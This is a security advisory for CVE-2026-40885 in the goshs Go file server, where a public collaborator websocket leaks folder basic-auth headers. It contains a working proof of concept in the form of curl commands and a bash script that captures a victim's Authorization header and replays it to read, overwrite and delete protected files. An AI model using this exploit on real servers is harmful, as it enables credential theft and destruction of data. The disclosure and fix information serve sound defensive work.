Advisory

GHSA-7h3j-592v-jcrp

Also known as: CVE-2026-40885, GO-2026-5221

Summary

goshs's public collaborator feed leaks .goshs ACL credentials and enables unauthorized access

Details

Summary
goshs leaks file-based ACL credentials through its public collaborator feed when the server is deployed without global basic auth. Requests to .goshs-protected folders are logged before authorization is enforced, and the collaborator websocket broadcasts raw request headers, including Authorization. An unauthenticated observer can capture a victim's folder-specific basic-auth header and replay it to read, upload, overwrite, and delete files inside the protected subtree. I reproduced this on v2.0.0-beta.5, the latest supported release as of April 10, 2026.

Details
The main web UI and collaborator websocket stay public when goshs is started without global -b user:pass authentication:

  • httpserver/server.go:72-85 only installs BasicAuthMiddleware() when a global username or password is configured

The vulnerable request is logged before .goshs authorization is enforced:

  • httpserver/handler.go:277-279 calls emitCollabEvent() and logger.LogRequest() before the protected file is passed into ACL enforcement
  • httpserver/handler.go:291-309 performs folder-level .goshs authentication later in applyCustomAuth()

The collaborator pipeline copies and broadcasts every request header:

  • httpserver/collaborator.go:22-46 flattens all request headers, including Authorization, into the websocket event and sends them to the hub
  • ws/hub.go:77-84 fans the event out live to all connected websocket clients
  • ws/hub.go:116-122 replays up to 200 prior HTTP events to newly connected websocket clients via catchup

The frontend also makes the leak easier to understand by decoding authorization values:

  • assets/js/main.js:627-645 formats and decodes the Authorization header for display in the collaborator panel

In practice, a victim request such as:

GET /ACLAuth/secret.txt
Authorization: Basic YWRtaW46YWRtaW4=

is visible to any public websocket observer before the protected file's ACL check is enforced. The attacker can then replay the leaked header against the same protected folder and gain the victim's effective access.

PoC
Manual verification commands used:

Terminal 1

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
go build -o /tmp/goshs_beta5 ./

rm -rf /tmp/goshs_collab_root
mkdir -p /tmp/goshs_collab_root/ACLAuth
cp integration/keepFiles/goshsACLAuth /tmp/goshs_collab_root/ACLAuth/.goshs
printf 'very secret\n' > /tmp/goshs_collab_root/ACLAuth/secret.txt

/tmp/goshs_beta5 -d /tmp/goshs_collab_root -p 18096

Terminal 2

node - <<'NODE'
const ws = new WebSocket('ws://127.0.0.1:18096/?ws');
ws.onmessage = (ev) => console.log(ev.data.toString());
NODE

Terminal 3

curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -u admin:admin http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' -X PUT --data-binary 'owned' http://127.0.0.1:18096/ACLAuth/pwn.txt
curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' 'http://127.0.0.1:18096/ACLAuth/secret.txt?delete'

Two terminal commands I ran during local validation:

curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt

Observed results from manual verification:

  • the anonymous request returned 401
  • the victim request returned very secret
  • the replayed leaked header also returned very secret
  • the replayed PUT returned 200
  • the replayed ?delete returned 200
  • the public websocket showed Authorization":"Basic YWRtaW46YWRtaW4="

PoC Video 1:

https://github.com/user-attachments/assets/1347838e-28a0-4c9f-be9f-db7e2938c752

Single-script verification:

'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc4'

Observed script result:

  • Captured header: Basic YWRtaW46YWRtaW4=
  • Anonymous GET status: 401
  • Replayed-header GET body: very secret
  • Replayed-header PUT status: 200
  • Replayed-header delete status: 200
  • [RESULT] VULNERABLE: public collaborator feed leaked ACL credentials that unlocked the protected subtree

PoC Video 2:

https://github.com/user-attachments/assets/b25648a9-b96c-46b3-9ee4-0ae4cc1c3472

gosh_poc4 script content:

#!/usr/bin/env bash
set -euo pipefail

REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
FIXTURE='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5/integration/keepFiles/goshsACLAuth'
BIN='/tmp/goshs_beta5_collab_leak'
PORT='18096'
WORKDIR="$(mktemp -d /tmp/goshs-collab-beta5-XXXXXX)"
ROOT="$WORKDIR/root"
WS_LOG="$WORKDIR/ws.log"
GOSHS_PID=""
WATCH_PID=""

cleanup() {
  if [[ -n "${WATCH_PID:-}" ]]; then
    kill "${WATCH_PID}" >/dev/null 2>&1 || true
    wait "${WATCH_PID}" 2>/dev/null || true
  fi
  if [[ -n "${GOSHS_PID:-}" ]]; then
    kill "${GOSHS_PID}" >/dev/null 2>&1 || true
    wait "${GOSHS_PID}" 2>/dev/null || true
  fi
}
trap cleanup EXIT

mkdir -p "${ROOT}/ACLAuth"
cp "${FIXTURE}" "${ROOT}/ACLAuth/.goshs"
printf 'very secret\n' > "${ROOT}/ACLAuth/secret.txt"

echo "[1/6] Building goshs beta.5"
(cd "${REPO}" && go build -o "${BIN}" ./)

echo "[2/6] Starting goshs without global auth on 127.0.0.1:${PORT}"
"${BIN}" -d "${ROOT}" -p "${PORT}" >"${WORKDIR}/goshs.log" 2>&1 &
GOSHS_PID=$!

for _ in $(seq 1 40); do
  if curl -s "http://127.0.0.1:${PORT}/" >/dev/null 2>&1; then
    break
  fi
  sleep 0.25
done

echo "[3/6] Opening an unauthenticated websocket observer"
node - <<'NODE' >"${WS_LOG}" &
const ws = new WebSocket('ws://127.0.0.1:18096/?ws');
ws.onopen = () => console.log('OPEN');
ws.onmessage = (ev) => {
  const msg = ev.data.toString();
  console.log(msg);
  if (msg.includes('Authorization')) process.exit(0);
};
setTimeout(() => process.exit(0), 10000);
NODE
WATCH_PID=$!

echo "[4/6] Simulating a victim request with folder credentials"
curl -s -u admin:admin "http://127.0.0.1:${PORT}/ACLAuth/secret.txt" >/dev/null
wait "${WATCH_PID}" || true
WATCH_PID=""

LEAKED_HEADER="$(python3 - "${WS_LOG}" <<'PY'
import pathlib
import re
import sys

text = pathlib.Path(sys.argv[1]).read_text()
m = re.search(r'Basic [A-Za-z0-9+/=]+', text)
print(m.group(0) if m else '')
PY
)"

if [[ -z "${LEAKED_HEADER}" ]]; then
  echo "[ERROR] No leaked Authorization header was captured." >&2
  echo "[DEBUG] Websocket output:" >&2
  cat "${WS_LOG}" >&2
  exit 1
fi

echo "[5/6] Replaying the leaked header as the attacker"
UNAUTH_CODE="$(curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:${PORT}/ACLAuth/secret.txt")"
READ_BACK="$(curl -s -H "Authorization: ${LEAKED_HEADER}" "http://127.0.0.1:${PORT}/ACLAuth/secret.txt")"
PUT_CODE="$(curl -s -o /dev/null -w '%{http_code}' -H "Authorization: ${LEAKED_HEADER}" -X PUT --data-binary 'owned' "http://127.0.0.1:${PORT}/ACLAuth/pwn.txt")"
DELETE_CODE="$(curl -s -o /dev/null -w '%{http_code}' -H "Authorization: ${LEAKED_HEADER}" "http://127.0.0.1:${PORT}/ACLAuth/secret.txt?delete")"

if [[ "${UNAUTH_CODE}" != "401" ]]; then
  echo "[ERROR] Expected anonymous direct access to fail with 401, got ${UNAUTH_CODE}." >&2
  exit 1
fi

if [[ "${READ_BACK}" != "very secret" ]]; then
  echo "[ERROR] Replayed header did not unlock the protected file." >&2
  exit 1
fi

if [[ "${PUT_CODE}" != "200" ]]; then
  echo "[ERROR] Expected replayed-header PUT to return 200, got ${PUT_CODE}." >&2
  exit 1
fi

if [[ "${DELETE_CODE}" != "200" ]]; then
  echo "[ERROR] Expected replayed-header delete to return 200, got ${DELETE_CODE}." >&2
  exit 1
fi

if [[ ! -f "${ROOT}/ACLAuth/pwn.txt" ]]; then
  echo "[ERROR] PUT did not create pwn.txt." >&2
  exit 1
fi

if [[ -f "${ROOT}/ACLAuth/secret.txt" ]]; then
  echo "[ERROR] Delete did not remove secret.txt." >&2
  exit 1
fi

echo "[6/6] Results"
echo "Captured header: ${LEAKED_HEADER}"
echo "Anonymous GET status: ${UNAUTH_CODE}"
echo "Replayed-header GET body: ${READ_BACK}"
echo "Replayed-header PUT status: ${PUT_CODE}"
echo "Replayed-header delete status: ${DELETE_CODE}"
echo "[RESULT] VULNERABLE: public collaborator feed leaked ACL credentials that unlocked the protected subtree"

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-04-14 22:28 UTC
Modified
2026-06-25 19:56 UTC

Affected packages and fixes

github.com/patrickhener/goshs/v2

Go · All systems

Affected

  • introduced 2.0.0-beta.4, fixed 2.0.0-beta.6 (semver)

Fixed versions

2.0.0-beta.6

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences